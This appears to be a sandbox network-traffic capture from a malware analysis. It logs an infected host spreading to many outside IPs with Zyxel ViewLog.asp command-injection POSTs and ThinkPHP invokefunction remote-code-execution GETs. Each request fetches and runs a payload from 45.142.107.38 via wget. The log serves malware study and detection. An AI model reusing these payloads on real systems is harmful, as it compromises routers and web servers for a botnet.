Mar 4, 2024 15:07:08.662981987 CET	315	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 35 2e 31 34 32 2e 31 30 37 2e 33 38 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://45.142.107.38/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh
Mar 4, 2024 15:07:14.807024956 CET	315	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 35 2e 31 34 32 2e 31 30 37 2e 33 38 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://45.142.107.38/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh
Mar 4, 2024 15:07:26.839000940 CET	315	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 35 2e 31 34 32 2e 31 30 37 2e 33 38 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://45.142.107.38/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh
Mar 4, 2024 15:07:52.695005894 CET	315	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 35 2e 31 34 32 2e 31 30 37 2e 33 38 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://45.142.107.38/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh
Mar 4, 2024 15:08:41.846986055 CET	315	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 35 2e 31 34 32 2e 31 30 37 2e 33 38 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://45.142.107.38/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh

Session ID	Source IP	Source Port	Destination IP	Destination Port
332	192.168.2.13	45756	31.136.38.78	8080

Timestamp	Bytes transferred	Direction	Data
Mar 4, 2024 15:07:05.580746889 CET	315	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 35 2e 31 34 32 2e 31 30 37 2e 33 38 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://45.142.107.38/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh
Mar 4, 2024 15:07:08.662981987 CET	315	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 35 2e 31 34 32 2e 31 30 37 2e 33 38 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://45.142.107.38/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh
Mar 4, 2024 15:07:14.807039022 CET	315	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 35 2e 31 34 32 2e 31 30 37 2e 33 38 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://45.142.107.38/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh
Mar 4, 2024 15:07:26.838973045 CET	315	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 35 2e 31 34 32 2e 31 30 37 2e 33 38 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://45.142.107.38/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh
Mar 4, 2024 15:07:52.695009947 CET	315	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 35 2e 31 34 32 2e 31 30 37 2e 33 38 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://45.142.107.38/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh
Mar 4, 2024 15:08:41.846856117 CET	315	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 35 2e 31 34 32 2e 31 30 37 2e 33 38 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://45.142.107.38/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh

Session ID	Source IP	Source Port	Destination IP	Destination Port
333	192.168.2.13	40546	112.124.67.53	80

Timestamp	Bytes transferred	Direction	Data
Mar 4, 2024 15:07:06.235102892 CET	332	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://45.142.107.38/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: Uirusu/2.0
Mar 4, 2024 15:07:08.054990053 CET	332	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://45.142.107.38/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: Uirusu/2.0
Mar 4, 2024 15:07:08.403435946 CET	307	IN	HTTP/1.1 400 Bad Request Server: nginx Date: Mon, 04 Mar 2024 14:07:08 GMT Content-Type: text/html Content-Length: 150 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
334	192.168.2.13	41772	95.64.224.70	80

Timestamp	Bytes transferred	Direction	Data
Mar 4, 2024 15:07:06.825334072 CET	332	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://45.142.107.38/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: Uirusu/2.0
Mar 4, 2024 15:07:07.041567087 CET	317	IN	HTTP/1.1 400 Bad Request Server: Web server Date: Mon, 04 Mar 2024 14:07:03 GMT Content-Type: text/html Content-Length: 155 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 57 65 62 20 73 65 72 76 65 72 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>Web server</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
335	192.168.2.13	41634	95.100.6.154	80

Timestamp	Bytes transferred	Direction	Data
Mar 4, 2024 15:07:06.903778076 CET	332	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://45.142.107.38/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: Uirusu/2.0
Mar 4, 2024 15:07:07.347651005 CET	480	IN	HTTP/1.0 400 Bad Request Server: AkamaiGHost Mime-Version: 1.0 Content-Type: text/html Content-Length: 258 Expires: Mon, 04 Mar 2024 14:07:07 GMT Date: Mon, 04 Mar 2024 14:07:07 GMT Connection: close Data Raw: 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 0a 3c 54 49 54 4c 45 3e 49 6e 76 61 6c 69 64 20 55 52 4c 3c 2f 54 49 54 4c 45 3e 0a 3c 2f 48 45 41 44 3e 3c 42 4f 44 59 3e 0a 3c 48 31 3e 49 6e 76 61 6c 69 64 20 55 52 4c 3c 2f 48 31 3e 0a 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 22 68 74 74 70 26 23 35 38 3b 26 23 34 37 3b 26 23 34 37 3b 26 23 33 37 3b 35 62 4e 6f 26 23 33 37 3b 32 30 48 6f 73 74 26 23 33 37 3b 35 64 26 23 34 37 3b 69 6e 64 65 78 26 23 34 36 3b 70 68 70 26 23 36 33 3b 22 2c 20 69 73 20 69 6e 76 61 6c 69 64 2e 3c 70 3e 0a 52 65 66 65 72 65 6e 63 65 26 23 33 32 3b 26 23 33 35 3b 39 26 23 34 36 3b 37 36 37 32 32 63 33 31 26 23 34 36 3b 31 37 30 39 35 36 31 32 32 37 26 23 34 36 3b 31 35 30 34 32 31 63 64 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0a Data Ascii: <HTML><HEAD><TITLE>Invalid URL</TITLE></HEAD><BODY><H1>Invalid URL</H1>The requested URL "http://%5bNo%20Host%5d/index.php?", is invalid.<p>Reference #9.76722c31.1709561227.150421cd</BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port
336	192.168.2.13	34770	112.6.232.107	80

Timestamp	Bytes transferred	Direction	Data
Mar 4, 2024 15:07:06.904290915 CET	320	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://45.142.107.38/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: Uirusu/2.0

Session ID	Source IP	Source Port	Destination IP	Destination Port
337	192.168.2.13	47336	112.187.210.153	80

Timestamp	Bytes transferred	Direction	Data
Mar 4, 2024 15:07:06.912763119 CET	332	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://45.142.107.38/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: Uirusu/2.0
Mar 4, 2024 15:07:07.280009031 CET	243	IN	HTTP/1.0 404 Not Found Content-type: text/html Date: Mon, 04 Mar 2024 14:07:09 GMT Connection: close Data Raw: 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 3c 54 49 54 4c 45 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 54 49 54 4c 45 3e 3c 2f 48 45 41 44 3e 0a 3c 42 4f 44 59 3e 3c 48 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 48 31 3e 0a 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0a Data Ascii: <HTML><HEAD><TITLE>404 Not Found</TITLE></HEAD><BODY><H1>404 Not Found</H1>The requested URL was not found</BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port
338	192.168.2.13	43762	95.85.3.251	80

Timestamp	Bytes transferred	Direction	Data
Mar 4, 2024 15:07:07.424720049 CET	332	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://45.142.107.38/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: Uirusu/2.0
Mar 4, 2024 15:07:07.593631029 CET	495	IN	HTTP/1.1 400 Bad Request Date: Mon, 04 Mar 2024 14:07:07 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 301 Connection: close Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 0a 3c 70 3e 59 6f 75 72 20 62 72 6f 77 73 65 72 20 73 65 6e 74 20 61 20 72 65 71 75 65 73 74 20 74 68 61 74 20 74 68 69 73 20 73 65 72 76 65 72 20 63 6f 75 6c 64 20 6e 6f 74 20 75 6e 64 65 72 73 74 61 6e 64 2e 3c 62 72 20 2f 3e 0a 3c 2f 70 3e 0a 3c 68 72 3e 0a 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 34 31 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 31 32 37 2e 30 2e 31 2e 31 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>400 Bad Request</title></head><body><h1>Bad Request</h1><p>Your browser sent a request that this server could not understand.<br /></p><hr><address>Apache/2.4.41 (Ubuntu) Server at 127.0.1.1 Port 80</address></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
339	192.168.2.13	35184	95.216.188.96	80

Timestamp	Bytes transferred	Direction	Data
Mar 4, 2024 15:07:07.446619987 CET	332	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://45.142.107.38/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: Uirusu/2.0
Mar 4, 2024 15:07:07.637739897 CET	354	IN	HTTP/1.1 400 Bad Request Server: nginx/1.20.2 Date: Mon, 04 Mar 2024 14:07:07 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Data Raw: 39 64 0d 0a 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 32 30 2e 32 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 0d 0a 30 0d 0a 0d 0a Data Ascii: 9d<html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>nginx/1.20.2</center></body></html>0

Session ID	Source IP	Source Port	Destination IP	Destination Port
340	192.168.2.13	56574	95.163.239.76	80

Timestamp	Bytes transferred	Direction	Data
Mar 4, 2024 15:07:07.464222908 CET	332	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://45.142.107.38/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: Uirusu/2.0
Mar 4, 2024 15:07:07.667630911 CET	750	IN	HTTP/1.1 400 Bad Request Server: ngjit Date: Mon, 04 Mar 2024 14:07:07 GMT Connection: close Content-Type: text/html; charset=utf8 Content-Length: 579 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 3c 68 74 6d 6c 20 6c 61 6e 67 3d 65 6e 3e 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 30 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 3e 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 3b 62 61 63 6b 67 72 6f 75 6e 64 3a 20 23 66 66 66 3b 63 6f 6c 6f 72 3a 23 32 32 32 3b 70 61 64 64 69 6e 67 3a 31 35 70 78 7d 62 6f 64 79 7b 6d 61 72 67 69 6e 3a 37 25 20 61 75 74 6f 20 30 3b 6d 61 78 2d 77 69 64 74 68 3a 33 39 30 70 78 3b 6d 69 6e 2d 68 65 69 67 68 74 3a 31 38 30 70 78 3b 70 61 64 64 69 6e 67 3a 33 30 70 78 20 30 20 31 35 70 78 7d 70 7b 6d 61 72 67 69 6e 3a 31 31 70 78 20 30 20 32 32 70 78 3b 6f 76 65 72 66 6c 6f 77 20 3a 68 69 64 64 65 6e 7d 69 6e 73 7b 63 6f 6c 6f 72 3a 23 37 37 37 3b 74 65 78 74 2d 64 65 63 6f 72 61 74 69 6f 6e 20 3a 6e 6f 6e 65 3b 7d 3c 2f 73 74 79 6c 65 3e 3c 70 3e 3c 62 3e 34 30 30 20 2d 20 42 61 64 20 52 65 71 75 65 73 74 20 2e 3c 2f 62 3e 20 3c 69 6e 73 3e 54 68 61 74 e2 80 99 73 20 61 6e 20 65 72 72 6f 72 2e 3c 2f 69 6e 73 3e 3c 70 3e 53 65 72 76 65 72 20 63 6f 75 6c 64 20 6e 6f 74 20 75 6e 64 65 72 73 74 61 6e 64 20 74 68 65 20 72 65 71 75 65 73 74 20 64 75 65 20 74 6f 20 69 6e 76 61 6c 69 64 20 73 79 6e 74 61 78 2e 20 20 3c 69 6e 73 3e 54 68 61 74 e2 80 99 73 20 61 6c 6c 20 77 65 20 6b 6e 6f 77 2e 3c 2f 69 6e 73 3e Data Ascii: <!DOCTYPE html><html lang=en><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 400</title><style>*{margin:0;padding:0}html{font:15px/22px arial,sans-serif;background: #fff;color:#222;padding:15px}body{margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0 15px}p{margin:11px 0 22px;overflow :hidden}ins{color:#777;text-decoration :none;}</style><p><b>400 - Bad Request .</b> <ins>Thats an error.</ins><p>Server could not understand the request due to invalid syntax. <ins>Thats all we know.</ins>

Session ID	Source IP	Source Port	Destination IP	Destination Port
341	192.168.2.13	41068	95.214.98.44	80

Timestamp	Bytes transferred	Direction	Data
Mar 4, 2024 15:07:07.464382887 CET	320	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://45.142.107.38/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: Uirusu/2.0
Mar 4, 2024 15:07:07.671363115 CET	490	IN	HTTP/1.1 400 Bad Request Content-Type: text/html; charset=us-ascii Server: Microsoft-HTTPAPI/2.0 Date: Mon, 04 Mar 2024 14:07:07 GMT Connection: close Content-Length: 311 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 48 54 4d 4c 20 34 2e 30 31 2f 2f 45 4e 22 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 68 74 6d 6c 34 2f 73 74 72 69 63 74 2e 64 74 64 22 3e 0d 0a 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 3c 54 49 54 4c 45 3e 42 61 64 20 52 65 71 75 65 73 74 3c 2f 54 49 54 4c 45 3e 0d 0a 3c 4d 45 54 41 20 48 54 54 50 2d 45 51 55 49 56 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 43 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 73 2d 61 73 63 69 69 22 3e 3c 2f 48 45 41 44 3e 0d 0a 3c 42 4f 44 59 3e 3c 68 32 3e 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 32 3e 0d 0a 3c 68 72 3e 3c 70 3e 48 54 54 50 20 45 72 72 6f 72 20 34 30 30 2e 20 54 68 65 20 72 65 71 75 65 73 74 20 69 73 20 62 61 64 6c 79 20 66 6f 72 6d 65 64 2e 3c 2f 70 3e 0d 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0d 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN""http://www.w3.org/TR/html4/strict.dtd"><HTML><HEAD><TITLE>Bad Request</TITLE><META HTTP-EQUIV="Content-Type" Content="text/html; charset=us-ascii"></HEAD><BODY><h2>Bad Request</h2><hr><p>HTTP Error 400. The request is badly formed.</p></BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port
342	192.168.2.13	41766	95.64.224.70	80

Timestamp	Bytes transferred	Direction	Data
Mar 4, 2024 15:07:07.474085093 CET	332	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://45.142.107.38/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: Uirusu/2.0
Mar 4, 2024 15:07:07.714076042 CET	317	IN	HTTP/1.1 400 Bad Request Server: Web server Date: Mon, 04 Mar 2024 14:07:03 GMT Content-Type: text/html Content-Length: 155 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 57 65 62 20 73 65 72 76 65 72 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>Web server</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
343	192.168.2.13	47352	112.187.210.153	80

Timestamp	Bytes transferred	Direction	Data
